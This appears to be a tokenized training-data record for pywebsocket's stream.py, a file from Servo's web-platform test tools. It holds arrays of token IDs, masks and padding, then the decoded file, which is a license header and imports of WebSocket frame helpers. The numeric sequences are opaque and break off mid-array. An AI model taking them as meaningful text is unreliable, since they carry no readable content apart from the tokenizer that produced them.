[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 31982, 7653, 13950, 8642, 1014, 921, 1544, 14, 11267, 14, 957, 18956, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 3133, 199, 3, 199, 4605, 199, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 4795, 492, 9506, 12, 1504, 421, 199, 318, 485, 264, 1490, 8, 277, 12, 522, 63, 344, 12, 1402, 304, 272, 372, 791, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 297, 288, 283, 1345, 63, 632, 356, 283, 964, 297, 288, 283, 1345, 63, 466, 356, 283, 964, 297, 288, 283, 470, 63, 344, 356, 522, 63, 344, 12, 288, 283, 470, 63, 1238, 356, 291, 423, 354, 12, 288, 283, 1375, 356, 283, 1222, 297, 288, 327, 3354, 3379, 1402, 315, 1067, 12, 2952, 30090, 314, 769, 402, 2808, 288, 327, 7009, 5074, 282, 1402, 315, 1067, 288, 283, 1100, 356, 469, 355, 283, 885, 63, 1238, 356, 1402, 12, 288, 1660, 288, 789, 421, 199, 533, 6016, 63, 12607, 63, 1188, 8, 4795, 14, 14612, 14928, 1685, 304, 272, 485, 6486, 275, 283, 1198, 14, 12607, 14, 1188, 7, 339, 347, 849, 63, 362, 8, 277, 12, 2467, 12, 1747, 12, 1504, 12, 1067, 29, 403, 304, 267, 408, 11041, 370, 876, 13, 4498, 314, 666, 1380, 9445, 282, 1978, 315, 2849, 13, 2123, 818, 267, 436, 440, 9995, 4012, 314, 2455, 26, 314, 641, 63, 1461, 365, 440, 2797, 315, 626, 1930, 14, 408, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 522, 275, 1613, 8, 1198, 63, 12607, 63, 1188, 12, 291, 680, 885, 63, 362, 8, 1556, 12, 1747, 12, 1504, 12, 1067, 29, 1100, 9, 267, 340, 522, 14, 362, 360, 13000, 63, 632, 358, 1137, 283, 11535, 63, 1198, 7, 436, 1067, 14, 362, 360, 885, 63, 1160, 63, 344, 358, 436, 522, 14, 362, 360, 1238, 358, 436, 522, 14, 362, 360, 470, 63, 344, 735, 288, 522, 14, 873, 8, 355, 291, 14, 18128, 63, 1160, 63, 344, 8, 490, 2467, 12, 1747, 12, 990, 1067, 459, 885, 63, 1160, 63, 344, 995, 522, 14, 362, 360, 13000, 63, 632, 659, 490, 522, 14, 362, 360, 1238, 659, 522, 14, 362, 360, 470, 63, 344, 659, 1067, 29, 1100, 355, 776, 459, 585, 418, 288, 776, 267, 340, 1504, 365, 440, 488, 26, 288, 359, 470, 14, 1935, 8, 698, 12, 488, 9, 367, 901, 315, 522, 14, 1612, 342, 340, 901, 440, 315, 1504, 61, 267, 372, 522, 339, 485, 3406, 275, 469, 267, 283, 1160, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 2123, 14, 1160, 297, 283, 6119, 1978, 297, 3504, 29, 549, 395, 272, 789, 339, 347, 3222, 63, 1198, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 408, 11041, 402, 3222, 63, 1198, 370, 9250, 18912, 10632, 370, 314, 3031, 14, 1160, 14, 288, 1010, 271, 379, 12, 5678, 6016, 14, 12607, 14, 1188, 12262, 15755, 18912, 315, 12250, 288, 30939, 818, 14, 11017, 315, 283, 4780, 2963, 7, 818, 12, 18912, 402, 376, 3031, 1978, 288, 2597, 1172, 370, 506, 21747, 370, 5126, 13729, 3932, 12715, 14, 408, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 12262, 63, 1100, 275, 1211, 8, 1100, 9, 267, 367, 12262, 315, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 304, 288, 340, 12262, 14, 1160, 63, 344, 26, 355, 12262, 63, 1100, 459, 1198, 63, 6814, 63, 751, 63, 5233, 418, 275, 756, 221, 327, 1978, 922, 63, 5233, 365, 3483, 1380, 12999, 2396, 63, 1360, 355, 12262, 63, 1100, 459, 1198, 63, 2495, 63, 1807, 418, 275, 12262, 14, 1160, 63, 344, 14, 2495, 63, 1807, 221, 327, 12250, 30939, 26, 675, 1978, 2599, 63, 1807, 574, 1035, 5317, 12, 367, 14931, 12250, 30939, 1454, 355, 12262, 63, 1100, 459, 1198, 63, 1000, 63, 344, 418, 275, 12262, 14, 1160, 63, 344, 14, 1198, 63, 1000, 63, 344, 14, 344, 288, 340, 440, 12262, 14, 8905, 63, 1580, 503, 12262, 14, 13000, 63, 632, 508, 283, 11535, 63, 1198, 7, 503, 440, 12262, 14, 1160, 63, 344, 26, 355, 1980, 288, 892, 63, 8905, 63, 1580, 275, 942, 288, 367, 12193, 315, 12262, 14, 8905, 63, 1580, 26, 355, 340, 12193, 315, 12262, 14, 1160, 63, 344, 14, 8905, 63, 1580, 26, 490, 892, 63, 8905, 63, 1580, 14, 740, 8, 277, 14, 2293, 14, 362, 360, 723, 14, 8905, 1959, 1574, 8, 1556, 12, 1747, 12, 12193, 14, 344, 12, 791, 470, 63, 1238, 356, 283, 1198, 14, 12607, 14, 1188, 297, 283, 470, 63, 344, 356, 12262, 14, 344, 1386, 1067, 29, 1100, 430, 355, 587, 26, 490, 892, 63, 8905, 63, 1580, 14, 740, 8, 8905, 14, 344, 9, 355, 291, 14, 952, 8, 1556, 12, 1747, 12, 12262, 14, 344, 12, 791, 8905, 63, 1580, 356, 3842, 22, 12, 378, 12, 892, 63, 8905, 63, 1580, 26804, 1067, 29, 1100, 9, 267, 372, 1613, 8, 1198, 63, 12607, 63, 1188, 12, 291, 680, 2254, 63, 1198, 8, 1556, 12 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 31982, 7653, 13950, 8642, 1014, 921, 1544, 14, 11267, 14, 957, 18956, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 3133, 199, 3, 199, 4605, 199, 199, 504, 5166, 492, 7249, 199, 504, 5166, 14, 4795, 492, 9506, 12, 1504, 421, 199, 318, 485, 264, 1490, 8, 277, 12, 522, 63, 344, 12, 1402, 304, 272, 372, 791, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 297, 288, 283, 1345, 63, 632, 356, 283, 964, 297, 288, 283, 1345, 63, 466, 356, 283, 964, 297, 288, 283, 470, 63, 344, 356, 522, 63, 344, 12, 288, 283, 470, 63, 1238, 356, 291, 423, 354, 12, 288, 283, 1375, 356, 283, 1222, 297, 288, 327, 3354, 3379, 1402, 315, 1067, 12, 2952, 30090, 314, 769, 402, 2808, 288, 327, 7009, 5074, 282, 1402, 315, 1067, 288, 283, 1100, 356, 469, 355, 283, 885, 63, 1238, 356, 1402, 12, 288, 1660, 288, 789, 421, 199, 533, 6016, 63, 12607, 63, 1188, 8, 4795, 14, 14612, 14928, 1685, 304, 272, 485, 6486, 275, 283, 1198, 14, 12607, 14, 1188, 7, 339, 347, 849, 63, 362, 8, 277, 12, 2467, 12, 1747, 12, 1504, 12, 1067, 29, 403, 304, 267, 408, 11041, 370, 876, 13, 4498, 314, 666, 1380, 9445, 282, 1978, 315, 2849, 13, 2123, 818, 267, 436, 440, 9995, 4012, 314, 2455, 26, 314, 641, 63, 1461, 365, 440, 2797, 315, 626, 1930, 14, 408, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 522, 275, 1613, 8, 1198, 63, 12607, 63, 1188, 12, 291, 680, 885, 63, 362, 8, 1556, 12, 1747, 12, 1504, 12, 1067, 29, 1100, 9, 267, 340, 522, 14, 362, 360, 13000, 63, 632, 358, 1137, 283, 11535, 63, 1198, 7, 436, 1067, 14, 362, 360, 885, 63, 1160, 63, 344, 358, 436, 522, 14, 362, 360, 1238, 358, 436, 522, 14, 362, 360, 470, 63, 344, 735, 288, 522, 14, 873, 8, 355, 291, 14, 18128, 63, 1160, 63, 344, 8, 490, 2467, 12, 1747, 12, 990, 1067, 459, 885, 63, 1160, 63, 344, 995, 522, 14, 362, 360, 13000, 63, 632, 659, 490, 522, 14, 362, 360, 1238, 659, 522, 14, 362, 360, 470, 63, 344, 659, 1067, 29, 1100, 355, 776, 459, 585, 418, 288, 776, 267, 340, 1504, 365, 440, 488, 26, 288, 359, 470, 14, 1935, 8, 698, 12, 488, 9, 367, 901, 315, 522, 14, 1612, 342, 340, 901, 440, 315, 1504, 61, 267, 372, 522, 339, 485, 3406, 275, 469, 267, 283, 1160, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 2123, 14, 1160, 297, 283, 6119, 1978, 297, 3504, 29, 549, 395, 272, 789, 339, 347, 3222, 63, 1198, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 408, 11041, 402, 3222, 63, 1198, 370, 9250, 18912, 10632, 370, 314, 3031, 14, 1160, 14, 288, 1010, 271, 379, 12, 5678, 6016, 14, 12607, 14, 1188, 12262, 15755, 18912, 315, 12250, 288, 30939, 818, 14, 11017, 315, 283, 4780, 2963, 7, 818, 12, 18912, 402, 376, 3031, 1978, 288, 2597, 1172, 370, 506, 21747, 370, 5126, 13729, 3932, 12715, 14, 408, 267, 340, 1067, 365, 488, 26, 288, 1067, 275, 1052, 267, 12262, 63, 1100, 275, 1211, 8, 1100, 9, 267, 367, 12262, 315, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 12, 1067, 29, 1100, 304, 288, 340, 12262, 14, 1160, 63, 344, 26, 355, 12262, 63, 1100, 459, 1198, 63, 6814, 63, 751, 63, 5233, 418, 275, 756, 221, 327, 1978, 922, 63, 5233, 365, 3483, 1380, 12999, 2396, 63, 1360, 355, 12262, 63, 1100, 459, 1198, 63, 2495, 63, 1807, 418, 275, 12262, 14, 1160, 63, 344, 14, 2495, 63, 1807, 221, 327, 12250, 30939, 26, 675, 1978, 2599, 63, 1807, 574, 1035, 5317, 12, 367, 14931, 12250, 30939, 1454, 355, 12262, 63, 1100, 459, 1198, 63, 1000, 63, 344, 418, 275, 12262, 14, 1160, 63, 344, 14, 1198, 63, 1000, 63, 344, 14, 344, 288, 340, 440, 12262, 14, 8905, 63, 1580, 503, 12262, 14, 13000, 63, 632, 508, 283, 11535, 63, 1198, 7, 503, 440, 12262, 14, 1160, 63, 344, 26, 355, 1980, 288, 892, 63, 8905, 63, 1580, 275, 942, 288, 367, 12193, 315, 12262, 14, 8905, 63, 1580, 26, 355, 340, 12193, 315, 12262, 14, 1160, 63, 344, 14, 8905, 63, 1580, 26, 490, 892, 63, 8905, 63, 1580, 14, 740, 8, 277, 14, 2293, 14, 362, 360, 723, 14, 8905, 1959, 1574, 8, 1556, 12, 1747, 12, 12193, 14, 344, 12, 791, 470, 63, 1238, 356, 283, 1198, 14, 12607, 14, 1188, 297, 283, 470, 63, 344, 356, 12262, 14, 344, 1386, 1067, 29, 1100, 430, 355, 587, 26, 490, 892, 63, 8905, 63, 1580, 14, 740, 8, 8905, 14, 344, 9, 355, 291, 14, 952, 8, 1556, 12, 1747, 12, 12262, 14, 344, 12, 791, 8905, 63, 1580, 356, 3842, 22, 12, 378, 12, 892, 63, 8905, 63, 1580, 26804, 1067, 29, 1100, 9, 267, 372, 1613, 8, 1198, 63, 12607, 63, 1188, 12, 291, 680, 2254, 63, 1198, 8, 1556, 12, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
nxnfufunezn/servo
tests/wpt/css-tests/tools/pywebsocket/src/mod_pywebsocket/stream.py
673
2748
# Copyright 2011, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """This file exports public symbols. """ from mod_pywebsocket._stream_base import BadOperationException from mod_pywebsocket._stream_base import ConnectionTerminatedException from mod_pywebsocket._stream_base import InvalidFrameException from mod_pywebsocket._stream_base import InvalidUTF8Exception from mod_pywebsocket._stream_base import UnsupportedFrameException from mod_pywebsocket._stream_hixie75 import StreamHixie75 from mod_pywebsocket._stream_hybi import Frame from mod_pywebsocket._stream_hybi import Stream from mod_pywebsocket._stream_hybi import StreamOptions # These methods are intended to be used by WebSocket client developers to have # their implementations receive broken data in tests. from mod_pywebsocket._stream_hybi import create_close_frame from mod_pywebsocket._stream_hybi import create_header from mod_pywebsocket._stream_hybi import create_length_header from mod_pywebsocket._stream_hybi import create_ping_frame from mod_pywebsocket._stream_hybi import create_pong_frame from mod_pywebsocket._stream_hybi import create_binary_frame from mod_pywebsocket._stream_hybi import create_text_frame from mod_pywebsocket._stream_hybi import create_closing_handshake_body # vi:sts=4 sw=4 et
mpl-2.0
[ 3, 1898, 7760, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 421, 199, 624, 2765, 570, 22609, 4575, 6698, 14, 199, 624, 421, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 8857, 6044, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 8113, 12154, 972, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 6378, 3160, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 6378, 6610, 24, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 19022, 3160, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 72, 1148, 1873, 2194, 492, 8271, 40, 1148, 1873, 2194, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 11726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 8271, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 8271, 4558, 199, 199, 3, 5723, 3102, 787, 11619, 370, 506, 1202, 701, 18846, 1890, 19782, 370, 1172, 199, 3, 3932, 12591, 9128, 10529, 666, 315, 2295, 14, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 1600, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 1291, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 1267, 63, 1291, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 4073, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 26992, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 3008, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 505, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 11707, 63, 11913, 63, 2030, 421, 199, 3, 1321, 26, 10329, 29, 20, 5584, 29, 20, 10844, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 7760, 12, 4475, 3277, 14, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 199, 3, 258, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 258, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 199, 3, 4248, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 199, 3, 315, 314, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 199, 3, 4084, 14, 199, 3, 258, 627, 11443, 314, 536, 402, 4475, 3277, 14, 6590, 314, 1561, 402, 2399, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 199, 3, 298, 1179, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 199, 3, 437, 3115, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 199, 3, 11489, 1549, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 199, 3, 8820, 12, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 199, 3, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 199, 3, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 199, 3, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 199, 3, 1634, 5749, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 421, 199, 624, 2765, 570, 22609, 4575, 6698, 14, 199, 624, 421, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 8857, 6044, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 8113, 12154, 972, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 6378, 3160, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 6378, 6610, 24, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 1095, 492, 19022, 3160, 1726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 72, 1148, 1873, 2194, 492, 8271, 40, 1148, 1873, 2194, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 11726, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 8271, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 8271, 4558, 199, 199, 3, 5723, 3102, 787, 11619, 370, 506, 1202, 701, 18846, 1890, 19782, 370, 1172, 199, 3, 3932, 12591, 9128, 10529, 666, 315, 2295, 14, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 1600, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 1291, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 1267, 63, 1291, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 4073, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 26992, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 63, 3577, 4492, 492, 1218, 63, 3008, 63, 1943, 199, 504, 3413, 63, 21387, 423, 1745, 